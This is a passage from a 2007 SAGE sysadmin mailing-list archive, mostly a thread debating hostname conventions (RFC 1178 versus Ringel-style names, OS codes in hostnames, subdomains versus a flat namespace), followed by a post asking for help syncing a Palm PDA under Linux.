	Sun,  7 Jan 2007 01:27:48 -0500 (EST)
Received: from [10.0.1.11] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l076Rbil074860;
	Sun, 7 Jan 2007 01:27:48 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240502c1c63ac63b22@[10.0.1.11]>
In-Reply-To: <bb075cdf0701061328x78ebc9daq6b439e8b15e8f1f0@mail.gmail.com>
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<bb075cdf0701061328x78ebc9daq6b439e8b15e8f1f0@mail.gmail.com>
Date: Sat, 6 Jan 2007 23:53:28 -0600
To: "Rodrick Brown" <rodrick.brown@gmail.com>,
	"Mark R. Lindsey" <lindsey@acm.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
Cc: "LOPSA Discuss List" <discuss@lopsa.org>,
	"SAGE list" <sage-members@usenix.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.31 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.089, BAYES_00=-2.599]
X-Spam-Score: -4.31
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 4:28 PM -0500 1/6/07, Rodrick Brown wrote:

>  scsinfpladm01
>  (scs) == Location "Secacus"
>  (inf) == Business Owner in this case "Infrastructure"
>  (p) == Server environment "production"
>  (l) == OS type "linux"
>  (adm) == server function "administrative"
>  (01) == instance number.

I really, really, really hate long hostnames.  Use subdomains if you 
need to, but don't try to have a flat namespace across the entire 
company or the entire world.

And I wouldn't encode the OS into the hostname, either.  See RFC 1178 
(e.g., <http://www.faqs.org/rfcs/rfc1178.html>) for reasons why.

-- 
Brad Knowles, <brad@shub-internet.org>

Trend Micro has announced that they will cancel the stop.mail-abuse.org
mail forwarding service as of 15 November 2006.  If you have an old
e-mail account for me at this domain, please make sure you correct that
with the current address.


From sage-members-owner@usenix.org Sat Jan  6 22:28:45 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l076SXsR000066
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 22:28:38 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l076SWLE000065
	for sage-members-0utGoign; Sat, 6 Jan 2007 22:28:32 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l076S0UX000033
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 22:28:10 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id A462415B57C;
	Sun,  7 Jan 2007 01:27:49 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 31594-07; Sun, 7 Jan 2007 01:27:46 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id 5AFC615B59B;
	Sun,  7 Jan 2007 01:27:46 -0500 (EST)
Received: from [10.0.1.11] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l076Rbij074860;
	Sun, 7 Jan 2007 01:27:45 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240501c1c63954e46e@[10.0.1.11]>
In-Reply-To: <459FEF6C.8090104@deaddrop.org>
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
	<459FEF6C.8090104@deaddrop.org>
Date: Sat, 6 Jan 2007 23:47:53 -0600
To: Etaoin Shrdlu <shrdlu@deaddrop.org>, SAGE Members <sage-members@usenix.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.339 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.060, BAYES_00=-2.599]
X-Spam-Score: -4.339
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=10%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 10:50 AM -0800 1/6/07, Etaoin Shrdlu wrote:

>  Let me reiterate the excellent work already quoted so many times. I
>  don't think it gets better than that.
>
>  http://www.nanog.org/mtg-0405/ringel.html

That's good for naming of network devices, or large provider 
environments.  For smaller networks, also keep in mind the guidance 
in RFC 1178 (see <http://www.faqs.org/rfcs/rfc1178.html>).

-- 
Brad Knowles, <brad@shub-internet.org>

Trend Micro has announced that they will cancel the stop.mail-abuse.org
mail forwarding service as of 15 November 2006.  If you have an old
e-mail account for me at this domain, please make sure you correct that
with the current address.


From sage-members-owner@usenix.org Sat Jan  6 23:02:55 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0772kq4001425
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 23:02:51 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0772kXK001424
	for sage-members-0utGoign; Sat, 6 Jan 2007 23:02:46 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0772J8k001413
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 23:02:30 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id g2so8046234nfe
	for <sage-members@usenix.org>; Sat, 06 Jan 2007 23:02:18 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=FnZQNF/+mmtddh79nkji5Zcgw2rbmWoUIHzD1BicwIGsdhBmBb7xFQqiEvgQjLr+2BLnUfU3d6bD/yIYG0lhCXbqk0QExqQQydQiPnxns5DKQ7Q24/vJm4NjD/ZzOPNda6vp3vf8qHiN3dR0xnHE5HTikyu9q5SmtiT/65aKNXg=
Received: by 10.78.158.11 with SMTP id g11mr3691229hue.1168152912966;
	Sat, 06 Jan 2007 22:55:12 -0800 (PST)
Received: by 10.78.136.16 with HTTP; Sat, 6 Jan 2007 22:55:12 -0800 (PST)
Message-ID: <bb075cdf0701062255r702260a3l9ce8d75865f9d284@mail.gmail.com>
Date: Sun, 7 Jan 2007 01:55:12 -0500
From: "Rodrick Brown" <rodrick.brown@gmail.com>
To: "Brad Knowles" <brad@shub-internet.org>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
Cc: "Mark R. Lindsey" <lindsey@acm.org>,
	"LOPSA Discuss List" <discuss@lopsa.org>,
	"SAGE list" <sage-members@usenix.org>
In-Reply-To: <p06240502c1c63ac63b22@10.0.1.11>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<bb075cdf0701061328x78ebc9daq6b439e8b15e8f1f0@mail.gmail.com>
	<p06240502c1c63ac63b22@10.0.1.11>
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 1/7/07, Brad Knowles <brad@shub-internet.org> wrote:
> At 4:28 PM -0500 1/6/07, Rodrick Brown wrote:
>
> >  scsinfpladm01
> >  (scs) == Location "Secacus"
> >  (inf) == Business Owner in this case "Infrastructure"
> >  (p) == Server environment "production"
> >  (l) == OS type "linux"
> >  (adm) == server function "administrative"
> >  (01) == instance number.
>
> I really, really, really hate long hostnames.  Use subdomains if you
> need to, but don't try to have a flat namespace across the entire
> company or the entire world.
>
It really depends on your definition of a long hostname? I find
subdomains to be really annoying in a practical sense especially in
environments where you can easily run into issues where you have
duplicate hostnames depending on your search path it can get really
confusing, this is very likely in larger environments. ie.
servera.foo1.domain.com servera.foo2.domain.com.
> And I wouldn't encode the OS into the hostname, either.  See RFC 1178
> (e.g., <http://www.faqs.org/rfcs/rfc1178.html>) for reasons why.
>
The OS type indication in a hostname makes automation/scripting very
simple across the board. I have not found a single issue with this
scheme over the years please enlightenment on where exactly this can
be problematic so far you've stated nothing but religious reasons.
Brad I really value your input so please don't take this response as
an attack in anyway I just want to see where exactly you feel this can
be an issue.

> --
> Brad Knowles, <brad@shub-internet.org>
>
> Trend Micro has announced that they will cancel the stop.mail-abuse.org
> mail forwarding service as of 15 November 2006.  If you have an old
> e-mail account for me at this domain, please make sure you correct that
> with the current address.
>

-- 
Rodrick R. Brown


From sage-members-owner@usenix.org Sun Jan  7 03:15:54 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l07BFgGg011720
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 7 Jan 2007 03:15:47 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l07BFgw6011719
	for sage-members-0utGoign; Sun, 7 Jan 2007 03:15:42 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l07BFCE7011676
	for <sage-members@usenix.org>; Sun, 7 Jan 2007 03:15:22 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id C853C15B57E;
	Sun,  7 Jan 2007 06:15:11 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 20247-01; Sun, 7 Jan 2007 06:15:08 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id BA70715B588;
	Sun,  7 Jan 2007 06:15:08 -0500 (EST)
Received: from [10.0.1.11] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l07BF5Dt094731;
	Sun, 7 Jan 2007 06:15:07 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240500c1c67a4f1f13@[10.0.1.11]>
In-Reply-To: <bb075cdf0701062255r702260a3l9ce8d75865f9d284@mail.gmail.com>
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>	
	<bb075cdf0701061328x78ebc9daq6b439e8b15e8f1f0@mail.gmail.com>	
	<p06240502c1c63ac63b22@10.0.1.11>
	<bb075cdf0701062255r702260a3l9ce8d75865f9d284@mail.gmail.com>
Date: Sun, 7 Jan 2007 05:14:05 -0600
To: "Rodrick Brown" <rodrick.brown@gmail.com>,
	"Brad Knowles" <brad@shub-internet.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
Cc: "Mark R. Lindsey" <lindsey@acm.org>,
	"LOPSA Discuss List" <discuss@lopsa.org>,
	"SAGE list" <sage-members@usenix.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.335 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.064, BAYES_00=-2.599]
X-Spam-Score: -4.335
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=10%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 1:55 AM -0500 1/7/07, Rodrick Brown wrote:

>  It really depends on your definition of a long hostname? I find
>  subdomains to be really annoying in a practical sense especially in
>  environments where you can easily run into issues where you have
>  duplicate hostnames depending on your search path it can get really
>  confusing, this is very likely in larger environments. ie.
>  servera.foo1.domain.com servera.foo2.domain.com.

I guess it depends on the group that is doing the O&M for these 
machines.  But does every admin need to have full and complete access 
to every single machine?  Do you have just five admins to manage tens 
of thousands of systems, spread across the world?

Why type the thirteen character long "scsinfpladm01" each and every 
time, instead of shortening that to "padmin01" within the 
"inf.scs.example.com" domain, and the domain name portion might only 
need to be typed rarely?


RFC 1178 is old enough that they didn't really worry about always 
creating highly organized section and paragraph numbers, I guess 
because they didn't think that people would be reading and referring 
to these documents so much, and would want a quick and unambiguous 
way to refer to different parts.  And not all RFCs were 
pre-paginated, so you can't even reliably use page numbers and then 
paragraph numbers from there, or something similar.

So, I guess we have to use section and subsection names.  In the 
"Don't Do These" section, there is a short subsection entitled "Don't 
use long names."  They don't mention the fact that many OSes at the 
time had a built-in restriction of maximum hostname length of eight 
characters.  Instead, they give us the following timeless guidance:

          This is hard to quantify, but experience has shown that names
          longer than eight characters simply annoy people.

          Most systems will allow prespecified abbreviations, but why not
          choose a name that you don't have to abbreviate to begin with?
          This removes any chance of confusion.


I dunno.  Maybe us old-school vi types that value economy of typing 
over big flat namespaces are obsolete.  I mean, the economy of typing 
"creat()" over "create()" is not much, and there is enough added 
confusion, that I'm not sure it makes sense.  But "creat()" over 
"create_new_file()", that I can see.


In the "Do These" section of RFC 1178, the next-to-last subsection is 
entitled "Don't worry about reusing someone else's hostname."  Keep 
in mind that this document is old enough that many people would 
remember HOST.TXT tables, and the transition to the DNS, and 
consequently the introduction of domain names to the Internet.  Yet, 
this document already recognizes the value of not even trying to keep 
a flat namespace.


>  The OS type indication in a hostname makes automation/scripting very
>  simple across the board. I have not found a single issue with this
>  scheme over the years please enlightenment on where exactly this can
>  be problematic so far you've stated nothing but religious reasons.
>  Brad I really value your input so please don't take this response as
>  an attack in anyway I just want to see where exactly you feel this can
>  be an issue.

Why encode the OS in the name, when the OS might need to change 
overnight?  Why should the change in the OS require a change in the 
function or the name?

Does it really make a difference to the applications what OS is 
running on machine_named_fred?  If machine_named_fred_on_linux dies, 
and you end up temporarily replacing it with 
machine_named_fred_on_freebsd, and you've got lots of applications 
that would be connecting to that system, why should the hostname have 
to change just because the OS does?  Conversely, why should you have 
to continue to have an old OS encoded in the name, when the current 
OS on the box is something different?


Interestingly, this particular topic doesn't seem to be addressed by 
RFC 1178, but I was pretty sure it had been.  I had to look through 
it several times to be sure, and even now I don't quite believe it 
myself.

Of course, this issue is covered in the other reference that has been 
recommended, namely <http://www.nanog.org/mtg-0405/ringel.html>, in 
the last bullet on page 7.  However, this document also recommends 
longer names over shorter ones, too.


And this also gets back to another fundamental naming question -- do 
we name machines, or interfaces?  RFC 1178 assumes that we name only 
machines and doesn't even talk about interfaces, while Ringel clearly 
assumes that we name only interfaces and the concept of naming just 
machines is totally alien.

So, we get theme names like "tulip" or "lily" in RFC 1178 versus 
"sackler-rtr-pri-x-grafton-rtr-pri" and "anderson-rtr-pri-t-vlan80" 
with Ringel.  Nevertheless, Ringel does suggest creating CNAME 
aliases that would allow RFC 1178 style names to be used for 
occasional human convenience, while the underlying machine is 
actually named something totally different.


Personally, I think we name both types of things, and both types of 
naming conventions are useful.

If I was a network guy, where I had lots of devices each with 
potentially dozens or hundreds of interfaces, then I'd use 
Ringel-style naming.  Or, if I was managing a very large number of 
machines, either in a cluster or in a farm-like environment, then I 
would probably end up using something like Ringel -- maybe 
city-building-room-row-rack-shelf.  The latter would have worked 
pretty well at AOL, for example -- at least, for the guys who push 
the machines around and manage the physical inventory, while the 
e-mail admins could use a CNAME based system like "emoutXX" and 
"eminYY", the news admins could use something like "feedWW" and 
"readerZZ", or whatever.

But if I had a smaller shop, or didn't have to deal with a great deal 
of systems that had large numbers of interfaces, I'd most likely go 
with something much more like RFC 1178.  And I'd most definitely go 
with RFC 1178 style naming for those CNAME aliases.


In either case, I think that both documents have something useful to 
teach us about bad things you should probably avoid doing in 
selecting your naming conventions, and good things you should 
definitely consider in selecting your naming conventions, and neither 
of them is a complete stand-alone reference on this subject.

Where RFC 1178 and Ringel conflict, I guess you need to take a look 
at your particular situation and see which kind of guidance is more 
appropriate for your situation.

Otherwise, where one addresses a particular topic that the other 
doesn't, then I think I'd probably use both.

-- 
Brad Knowles, <brad@shub-internet.org>

Trend Micro has announced that they will cancel the stop.mail-abuse.org
mail forwarding service as of 15 November 2006.  If you have an old
e-mail account for me at this domain, please make sure you correct that
with the current address.


From sage-members-owner@usenix.org Sun Jan  7 13:36:09 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l07La0OY028788
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 7 Jan 2007 13:36:05 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l07LZxm3028787
	for sage-members-0utGoign; Sun, 7 Jan 2007 13:35:59 -0800 (PST)
Received: from adsl-64-160-54-75.dsl.snfc21.pacbell.net
	(adsl-67-122-242-225.dsl.pltn13.pacbell.net [67.122.242.225])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l07LZSEL028769
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Sun, 7 Jan 2007 13:35:47 -0800 (PST)
Received: from [192.168.72.2] (wizfast.rski.net [192.168.72.2])
	by adsl-64-160-54-75.dsl.snfc21.pacbell.net (8.12.8/8.12.8) with ESMTP
	id l07LZBxo010072; Sun, 7 Jan 2007 13:35:12 -0800
Message-ID: <45A1678F.3010600@chycoski.com>
Date: Sun, 07 Jan 2007 13:35:11 -0800
From: Richard Chycoski <rskiadmin@chycoski.com>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: Brad Knowles <brad@shub-internet.org>
CC: Rodrick Brown <rodrick.brown@gmail.com>,
	"Mark R. Lindsey" <lindsey@acm.org>,
	LOPSA Discuss List <discuss@lopsa.org>, SAGE list <sage-members@usenix.org>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>	
	<bb075cdf0701061328x78ebc9daq6b439e8b15e8f1f0@mail.gmail.com>	
	<p06240502c1c63ac63b22@10.0.1.11>
	<bb075cdf0701062255r702260a3l9ce8d75865f9d284@mail.gmail.com>
	<p06240500c1c67a4f1f13@[10.0.1.11]>
In-Reply-To: <p06240500c1c67a4f1f13@[10.0.1.11]>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

You naming scheme should reflect your environment.

For example, our desktops are simply named <username>-<OS/platform>[<n>]

So, for user jsmith who has a Linux box on his desk, the hostname would 
be 'jsmith-lnx'. If he also has a Windows XP desktop or laptop, that 
would be 'jsmith-wxp'. His Solaris machine might be 'jsmith-sb100'. This 
works well for our 30,000+ desktop/laptop/personal systems since we have 
a directory that keeps track of where all the employees are located, and 
personal workstations tend to stay with the user. We have a flat 
namespace for users and networks - subdomains are worse than labelling 
hosts with their OSes in our company because the physical and logical 
organisation of the company is constantly changing. We rarely change the 
OS on a given machine.

This doesn't work well in the data centre, but we still have the flat 
namespace to deal with, so have unique host names across the entire 
company. (Something like a half million names or more.)

Why keep it flat? See the previous item - the only constant is change.

You need to consider how your organisation works when you decide on a 
naming scheme. Most large Service Provider organisations (like phone 
companies, ISPs, search engine companies, etc.) that have thousands of 
similar machines generally use the physical location model for naming - 
and this makes sense. The organisation of the equipment tends to 
transcend the organisation of the people in an SP environment. SPs have 
a lot of customers pounding on a lot of gear, with a relatively smaller 
number of people to take care of that gear, and the purpose of most of 
the gear is to directly serve the customer.

In an Enterprise (that is not an SP), it's normal for most of the gear 
to serve the employees, rather than directly serve the customers. This 
can put a different perspective on system naming. A large global company 
that is constantly changing the internal structure may need a more 
flexible naming scheme, especially one that doesn't require altering 
host names based on location or organisational role for every machine 
that gets 'repurposed' on a regular basis. Other large companies are 
quite hierarchical or balkanised, and subdomains and naming schemes that 
contain the life history of the device (:-) may be perfectly appropriate.

It also depends on how you manage your machines. We have a database that 
keeps track of all of the pertinent information for every production 
router/switch and every data centre host in the company. Rather than 
encode the rack/shelf information into the hostname we generally only 
get it down to the room, and let people look up the rest in the 
database. This has been a good compromise for us as a balance between 
host name size, findin hosts, and keeping the number of hostname 
alterations down (when racks move within a data centre). Some of the 
more fixed network gear *is* identified down to the rack, as this gear 
does not move. Our network racks are bolted down to the floor, our 
computer racks are on wheels. The naming schemes reflect the difference 
in permanence of location.

And a personal preference - even if subdomains are used, keep the 
physical hostnames unique. Functional names (like 
'imap.subdomain.domain.com') are less likely to cause you a problem, but 
you can confuse people (and some systems) with duplicate hostnames. It 
gets worse when the subdomains are as cryptic as the hostnames, as in:

bldg5xdm1.lon1.company.com and bldg5xdm1.lon2.company.com

As to the long/short names - there are certain software packages that 
barf on long names, so for one particular database package we had to 
create eight character names (with no hyphens) for the machines, and 
make the CNAMES be our 'standard' names (jsmith-lnx). Ugh. I'm convinced 
that every naming scheme has its own nemesis out there!

- Richard

Brad Knowles wrote:
> At 1:55 AM -0500 1/7/07, Rodrick Brown wrote:
>
>>  It really depends on your definition of a long hostname? I find
>>  subdomains to be really annoying in a practical sense especially in
>>  environments where you can easily run into issues where you have
>>  duplicate hostnames depending on your search path it can get really
>>  confusing, this is very likely in larger environments. ie.
>>  servera.foo1.domain.com servera.foo2.domain.com.
>
> I guess it depends on the group that is doing the O&M for these 
> machines.  But does every admin need to have full and complete access 
> to every single machine?  Do you have just five admins to manage tens 
> of thousands of systems, spread across the world?
>
> Why type the thirteen character long "scsinfpladm01" each and every 
> time, instead of shortening that to "padmin01" within the 
> "inf.scs.example.com" domain, and the domain name portion might only 
> need to be typed rarely?
>
>
> RFC 1178 is old enough that they didn't really worry about always 
> creating highly organized section and paragraph numbers, I guess 
> because they didn't think that people would be reading and referring 
> to these documents so much, and would want a quick and unambiguous way 
> to refer to different parts.  And not all RFCs were pre-paginated, so 
> you can't even reliably use page numbers and then paragraph numbers 
> from there, or something similar.
>
> So, I guess we have to use section and subsection names.  In the 
> "Don't Do These" section, there is a short subsection entitled "Don't 
> use long names."  They don't mention the fact that many OSes at the 
> time had a built-in restriction of maximum hostname length of eight 
> characters.  Instead, they give us the following timeless guidance:
>
>          This is hard to quantify, but experience has shown that names
>          longer than eight characters simply annoy people.
>
>          Most systems will allow prespecified abbreviations, but why not
>          choose a name that you don't have to abbreviate to begin with?
>          This removes any chance of confusion.
>
>
> I dunno.  Maybe us old-school vi types that value economy of typing 
> over big flat namespaces are obsolete.  I mean, the economy of typing 
> "creat()" over "create()" is not much, and there is enough added 
> confusion, that I'm not sure it makes sense.  But "creat()" over 
> "create_new_file()", that I can see.
>
>
> In the "Do These" section of RFC 1178, the next-to-last subsection is 
> entitled "Don't worry about reusing someone else's hostname."  Keep in 
> mind that this document is old enough that many people would remember 
> HOST.TXT tables, and the transition to the DNS, and consequently the 
> introduction of domain names to the Internet.  Yet, this document 
> already recognizes the value of not even trying to keep a flat namespace.
>
>
>>  The OS type indication in a hostname makes automation/scripting very
>>  simple across the board. I have not found a single issue with this
>>  scheme over the years please enlightenment on where exactly this can
>>  be problematic so far you've stated nothing but religious reasons.
>>  Brad I really value your input so please don't take this response as
>>  an attack in anyway I just want to see where exactly you feel this can
>>  be an issue.
>
> Why encode the OS in the name, when the OS might need to change 
> overnight?  Why should the change in the OS require a change in the 
> function or the name?
>
> Does it really make a difference to the applications what OS is 
> running on machine_named_fred?  If machine_named_fred_on_linux dies, 
> and you end up temporarily replacing it with 
> machine_named_fred_on_freebsd, and you've got lots of applications 
> that would be connecting to that system, why should the hostname have 
> to change just because the OS does?  Conversely, why should you have 
> to continue to have an old OS encoded in the name, when the current OS 
> on the box is something different?
>
>
> Interestingly, this particular topic doesn't seem to be addressed by 
> RFC 1178, but I was pretty sure it had been.  I had to look through it 
> several times to be sure, and even now I don't quite believe it myself.
>
> Of course, this issue is covered in the other reference that has been 
> recommended, namely <http://www.nanog.org/mtg-0405/ringel.html>, in 
> the last bullet on page 7.  However, this document also recommends 
> longer names over shorter ones, too.
>
>
> And this also gets back to another fundamental naming question -- do 
> we name machines, or interfaces?  RFC 1178 assumes that we name only 
> machines and doesn't even talk about interfaces, while Ringel clearly 
> assumes that we name only interfaces and the concept of naming just 
> machines is totally alien.
>
> So, we get theme names like "tulip" or "lily" in RFC 1178 versus 
> "sackler-rtr-pri-x-grafton-rtr-pri" and "anderson-rtr-pri-t-vlan80" 
> with Ringel.  Nevertheless, Ringel does suggest creating CNAME aliases 
> that would allow RFC 1178 style names to be used for occasional human 
> convenience, while the underlying machine is actually named something 
> totally different.
>
>
> Personally, I think we name both types of things, and both types of 
> naming conventions are useful.
>
> If I was a network guy, where I had lots of devices each with 
> potentially dozens or hundreds of interfaces, then I'd use 
> Ringel-style naming.  Or, if I was managing a very large number of 
> machines, either in a cluster or in a farm-like environment, then I 
> would probably end up using something like Ringel -- maybe 
> city-building-room-row-rack-shelf.  The latter would have worked 
> pretty well at AOL, for example -- at least, for the guys who push the 
> machines around and manage the physical inventory, while the e-mail 
> admins could use a CNAME based system like "emoutXX" and "eminYY", the 
> news admins could use something like "feedWW" and "readerZZ", or 
> whatever.
>
> But if I had a smaller shop, or didn't have to deal with a great deal 
> of systems that had large numbers of interfaces, I'd most likely go 
> with something much more like RFC 1178.  And I'd most definitely go 
> with RFC 1178 style naming for those CNAME aliases.
>
>
> In either case, I think that both documents have something useful to 
> teach us about bad things you should probably avoid doing in selecting 
> your naming conventions, and good things you should definitely 
> consider in selecting your naming conventions, and neither of them is 
> a complete stand-alone reference on this subject.
>
> Where RFC 1178 and Ringel conflict, I guess you need to take a look at 
> your particular situation and see which kind of guidance is more 
> appropriate for your situation.
>
> Otherwise, where one addresses a particular topic that the other 
> doesn't, then I think I'd probably use both.
>



From sage-members-owner@usenix.org Mon Jan  8 03:55:40 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08BtV64017533
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 8 Jan 2007 03:55:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l08BtVOb017532
	for sage-members-0utGoign; Mon, 8 Jan 2007 03:55:31 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08Bt3B0017512
	for <sage-members@usenix.org>; Mon, 8 Jan 2007 03:55:14 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id CDBCE3ADE0; Mon,  8 Jan 2007 06:54:54 -0500 (EST)
Date: Mon, 8 Jan 2007 06:54:54 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@usenix.org
Subject: [SAGE] Syncing PDA and Linux
Message-ID: <20070108115454.GA28969@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I took the plunge and bought a Palm Z22 after reading 'Time management
for system administrators'.  I'm having a heck of a time trying to sync
it.  I've loaded the visor and usbserial kernel modules.  When I attempt
to have kpilot find the device, which appears as /dev/pilot =>
/dev/ttyUSBx the PDA briefly reports a sync but then goes quite.  Kpilot
report that it cannot find the device.  I see some errors in the kernel
log files:

usb 1-3.2: new full speed USB device using ehci_hcd and address 39
hub 1-3:1.0: Cannot enable port 2.  Maybe the USB cable is bad?
hub 1-3:1.0: Cannot enable port 2.  Maybe the USB cable is bad?
hub 1-3:1.0: Cannot enable port 2.  Maybe the USB cable is bad?
hub 1-3:1.0: Cannot enable port 2.  Maybe the USB cable is bad?
usb 1-3.2: new full speed USB device using ehci_hcd and address 43
usb 1-3.2: device descriptor read/64, error -110

After that the /dev/ttyUSBx files disappear and do not return even when
I attempt another sync.  I've tried two different cables using both USB2
and USB1 ports but the error persists.  I'm using kernel 2.6.19.1 and
Debian Sarge.

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 1 day
http://watson-wilson.ca


From sage-members-owner@usenix.org Mon Jan  8 10:00:24 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
